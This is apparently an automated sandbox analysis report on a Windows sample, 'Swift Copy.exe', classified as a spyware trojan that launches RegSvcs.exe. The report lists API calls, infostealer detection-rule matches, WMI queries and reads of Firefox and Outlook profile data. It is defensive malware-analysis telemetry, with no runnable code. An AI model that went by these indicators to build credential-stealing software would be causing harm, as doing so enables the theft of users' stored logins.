memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_04ca0195-b

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DDD5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00DDD5EB

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DD1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00DD1201

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DDE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00DDE8F6

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE2046	0_2_00DE2046
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D78060	0_2_00D78060
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DD8298	0_2_00DD8298
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DAE4FF	0_2_00DAE4FF
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DA676B	0_2_00DA676B
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00E04873	0_2_00E04873
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D7CAF0	0_2_00D7CAF0
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D9CAA0	0_2_00D9CAA0
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D8CC39	0_2_00D8CC39
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DA6DD9	0_2_00DA6DD9
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D791C0	0_2_00D791C0
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D8B119	0_2_00D8B119
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D91394	0_2_00D91394
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D91706	0_2_00D91706
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D9781B	0_2_00D9781B
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D919B0	0_2_00D919B0
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D8997D	0_2_00D8997D
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D77920	0_2_00D77920
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D97A4A	0_2_00D97A4A
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D97CA7	0_2_00D97CA7
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D91C77	0_2_00D91C77
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DA9EEE	0_2_00DA9EEE
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DFBE44	0_2_00DFBE44
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D7BF40	0_2_00D7BF40
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D91F32	0_2_00D91F32
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00ED3620	0_2_00ED3620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0304E2B8	1_2_0304E2B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_030441D0	1_2_030441D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_03044AA0	1_2_03044AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_03043E88	1_2_03043E88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0304A980	1_2_0304A980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C565D0	1_2_06C565D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C55588	1_2_06C55588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C57D58	1_2_06C57D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C5B202	1_2_06C5B202
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C53040	1_2_06C53040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C5C158	1_2_06C5C158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C57678	1_2_06C57678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C55CBB	1_2_06C55CBB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C5E380	1_2_06C5E380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C52338	1_2_06C52338
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C50040	1_2_06C50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06C50006	1_2_06C50006

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: String function: 00D90A30 appears 46 times
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: String function: 00D8F9F2 appears 31 times

Source: Swift Copy.exe, 00000000.00000003.1669123460.0000000003D2D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Swift Copy.exe
Source: Swift Copy.exe, 00000000.00000003.1672372933.0000000003B83000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Swift Copy.exe
Source: Swift Copy.exe, 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefcc0edeb-3644-44a7-8b6d-3364cecb7337.exe4 vs Swift Copy.exe

Source: Swift Copy.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 0.2.Swift Copy.exe.ee0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, slKb.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, mAKJ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, xQRSe0Fg.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, n3rhMa.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, MQzE4FWn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, nSmgRyX5a1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, 6IMLmJtk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, 6IMLmJtk.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, 3HroK7qN.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, 3HroK7qN.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@2/2

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DE37B5 GetLastError,FormatMessageW,

0_2_00DE37B5

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DD10BF AdjustTokenPrivileges,CloseHandle,		0_2_00DD10BF
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DD16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00DD16C3

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DE51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00DE51CD

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DFA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00DFA67C

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DE648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00DE648E

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00D742A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00D742A2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Swift Copy.exe

File created: C:\Users\user\AppData\Local\Temp\aut5F23.tmp

Jump to behavior

Source: Swift Copy.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Swift Copy.exe

ReversingLabs: Detection: 64%

Source: unknown	Process created: C:\Users\user\Desktop\Swift Copy.exe "C:\Users\user\Desktop\Swift Copy.exe"
Source: C:\Users\user\Desktop\Swift Copy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Swift Copy.exe"
Source: C:\Users\user\Desktop\Swift Copy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Swift Copy.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Swift Copy.exe

Static file information: File size 1294336 > 1048576

Source: Swift Copy.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Swift Copy.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Swift Copy.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Swift Copy.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Swift Copy.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Swift Copy.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Swift Copy.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: Swift Copy.exe, 00000000.00000003.1671012395.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Swift Copy.exe, 00000000.00000003.1670003411.0000000003C00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Swift Copy.exe, 00000000.00000003.1671012395.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Swift Copy.exe, 00000000.00000003.1670003411.0000000003C00000.00000004.00001000.00020000.00000000.sdmp

Source: Swift Copy.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Swift Copy.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Swift Copy.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Swift Copy.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Swift Copy.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00D742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00D742DE

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00D90A76 push ecx; ret

0_2_00D90A89

Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, SMn5.cs

High entropy of concatenated method names: '_8Vimx', 'f7lK', 'uMKvoi6J', 'FWTI9h04fKT', 'OvYNDn1nF7', 'Uc1YsRO0ov', 'qvyIh', 'Q626D', 'VHPMMtos', 'MchLpClTgX'

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D8F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00D8F98E
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00E01C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00E01C41

Source: C:\Users\user\Desktop\Swift Copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
